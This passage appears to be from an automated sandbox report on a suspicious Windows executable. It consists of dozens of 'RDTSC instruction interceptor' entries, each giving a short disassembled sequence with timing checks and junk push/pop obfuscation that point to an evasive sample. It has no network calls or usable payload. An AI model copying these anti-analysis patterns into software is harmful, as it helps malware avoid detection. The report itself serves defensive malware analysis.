0x0000006b push eax 0x0000006c push edx 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AA8E0 second address: 5AA8E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8ABA second address: 5B8AC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB7C8 second address: 5AB7CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC6CF second address: 5AC76D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F8B0CDF43D9h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 push 00000000h 0x00000014 push edi 0x00000015 call 00007F8B0CDF43C8h 0x0000001a pop edi 0x0000001b mov dword ptr [esp+04h], edi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc edi 0x00000028 push edi 0x00000029 ret 0x0000002a pop edi 0x0000002b ret 0x0000002c push dword ptr fs:[00000000h] 0x00000033 sub dword ptr [ebp+12465413h], edi 0x00000039 mov dword ptr fs:[00000000h], esp 0x00000040 push esi 0x00000041 pop ebx 0x00000042 mov eax, dword ptr [ebp+122D1199h] 0x00000048 push 00000000h 0x0000004a push edx 0x0000004b call 00007F8B0CDF43C8h 0x00000050 pop edx 0x00000051 mov dword ptr [esp+04h], edx 0x00000055 add dword ptr [esp+04h], 0000001Dh 0x0000005d inc edx 0x0000005e push edx 0x0000005f ret 0x00000060 pop edx 0x00000061 ret 0x00000062 mov bx, DEC0h 0x00000066 mov ebx, 7A205204h 0x0000006b push FFFFFFFFh 0x0000006d nop 0x0000006e jc 00007F8B0CDF43D0h 0x00000074 push eax 0x00000075 push edx 0x00000076 pushad 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC76D second address: 5AC78D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F8B0CFA0387h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD803 second address: 5AD81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43CEh 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE8F6 second address: 5AE967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov bl, 78h 0x0000000c push dword ptr fs:[00000000h] 0x00000013 mov edi, dword ptr [ebp+122D198Ah] 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 mov eax, dword ptr [ebp+122D0FFDh] 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007F8B0CFA0378h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 push FFFFFFFFh 0x00000042 mov edi, dword ptr [ebp+12485D6Ah] 0x00000048 nop 0x00000049 ja 00007F8B0CFA037Eh 0x0000004f push eax 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 jmp 00007F8B0CFA037Ah 0x00000058 js 00007F8B0CFA0376h 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B477E second address: 5B478C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5783 second address: 5B5787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5787 second address: 5B578B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B578B second address: 5B57A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8B0CFA0384h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B57A9 second address: 5B57BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CDF43CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF0EE second address: 5BF114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F8B0CFA037Fh 0x0000000d pop edi 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F8B0CFA0376h 0x00000016 jc 00007F8B0CFA0376h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF114 second address: 5BF136 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007F8B0CDF43D4h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BF136 second address: 5BF13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551C67 second address: 551C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F8B0CDF43D9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8B0CDF43CFh 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 551C99 second address: 551C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEB4F second address: 5BEB63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEC9B second address: 5BECD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B0CFA0382h 0x00000009 jmp 00007F8B0CFA0381h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F8B0CFA0380h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C22E4 second address: 5C230A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a jmp 00007F8B0CDF43CFh 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jnl 00007F8B0CDF43C8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C230A second address: 5C2320 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F8B0CFA0376h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2320 second address: 5C2326 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2326 second address: 5C232C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CADD second address: 54CAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CAE3 second address: 54CAE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CAE7 second address: 54CAF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54CAF1 second address: 54CAF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBA65 second address: 5CBA69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBA69 second address: 5CBA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE56 second address: 5CBE5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE5C second address: 5CBE61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE61 second address: 5CBE69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE69 second address: 5CBE6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBE6D second address: 5CBE7A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1817 second address: 5D182C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8B0CFA0378h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b ja 00007F8B0CFA037Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1999 second address: 5D199D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1B2B second address: 5D1B45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA0386h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1E15 second address: 5D1E2C instructions: 0x00000000 rdtsc 0x00000002 jne 00007F8B0CDF43D9h 0x00000008 jmp 00007F8B0CDF43CDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2118 second address: 5D212A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8B0CFA0376h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C47D second address: 57C492 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ecx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F8B0CDF43CCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57C492 second address: 57C496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D10B6 second address: 5D10BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D10BC second address: 5D10CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA037Ch 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D10CE second address: 5D10D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F8B0CDF43C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D10D9 second address: 5D10F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8B0CFA0376h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 jns 00007F8B0CFA0376h 0x00000019 pop esi 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D10F6 second address: 5D10FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D10FE second address: 5D1106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1106 second address: 5D110C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D4433 second address: 5D4438 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D87B9 second address: 5D87C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F8B0CDF43C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D87C4 second address: 5D87DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA0385h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD0A1 second address: 5DD0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F8B0CDF43C6h 0x0000000a pop edx 0x0000000b jns 00007F8B0CDF43CCh 0x00000011 pop edi 0x00000012 pushad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD0BD second address: 5DD0CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F8B0CFA0376h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DD988 second address: 5DD98C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDAC9 second address: 5DDAE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B0CFA0380h 0x00000009 jns 00007F8B0CFA0376h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDF38 second address: 5DDF3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDF3C second address: 5DDF40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DDF40 second address: 5DDF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F8B0CDF43C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E2B7B second address: 5E2B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59720A second address: 597240 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007F8B0CDF43C8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 lea eax, dword ptr [ebp+12488F6Dh] 0x00000029 cld 0x0000002a push eax 0x0000002b pushad 0x0000002c push eax 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597240 second address: 57B9A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007F8B0CFA037Ch 0x0000000b pop esi 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dx, ax 0x00000013 call dword ptr [ebp+122D368Bh] 0x00000019 pushad 0x0000001a jmp 00007F8B0CFA0382h 0x0000001f push eax 0x00000020 jmp 00007F8B0CFA0382h 0x00000025 pop eax 0x00000026 jp 00007F8B0CFA0378h 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F8B0CFA0382h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5972BF second address: 5972D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jg 00007F8B0CDF43C6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5972D0 second address: 5972D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5972D9 second address: 5972DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597949 second address: 59794D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59794D second address: 597951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597951 second address: 597957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597957 second address: 597977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007F8B0CDF43C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597977 second address: 5979B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, esi 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F8B0CFA0378h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000015h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov ch, B5h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F8B0CFA0383h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597ADB second address: 597ADF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597ADF second address: 597AE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597CA3 second address: 597CAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F8B0CDF43C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597FB8 second address: 597FBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598409 second address: 59845C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8B0CDF43CFh 0x00000008 jns 00007F8B0CDF43C6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 jbe 00007F8B0CDF43CEh 0x00000018 jg 00007F8B0CDF43C8h 0x0000001e nop 0x0000001f movzx edi, cx 0x00000022 lea eax, dword ptr [ebp+12488FB1h] 0x00000028 mov dx, ax 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F8B0CDF43D9h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 59845C second address: 598461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 598461 second address: 5984B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov ecx, edi 0x0000000c add edx, 6F75D10Bh 0x00000012 lea eax, dword ptr [ebp+12488F6Dh] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F8B0CDF43C8h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov di, cx 0x00000035 mov ecx, 3CC51DD5h 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F8B0CDF43D1h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5984B4 second address: 5984C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CFA037Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5984C4 second address: 57C47D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F8B0CDF43D2h 0x0000000f nop 0x00000010 pushad 0x00000011 mov dword ptr [ebp+12465413h], ecx 0x00000017 popad 0x00000018 call dword ptr [ebp+122D2C4Ch] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C19 second address: 5E1C1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C1F second address: 5E1C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 je 00007F8B0CDF43C6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C2C second address: 5E1C32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C32 second address: 5E1C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1C38 second address: 5E1C3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1DB1 second address: 5E1E00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B0CDF43CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007F8B0CDF43D7h 0x0000000f jmp 00007F8B0CDF43D0h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8B0CDF43D4h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1E00 second address: 5E1E10 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8B0CFA037Ah 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
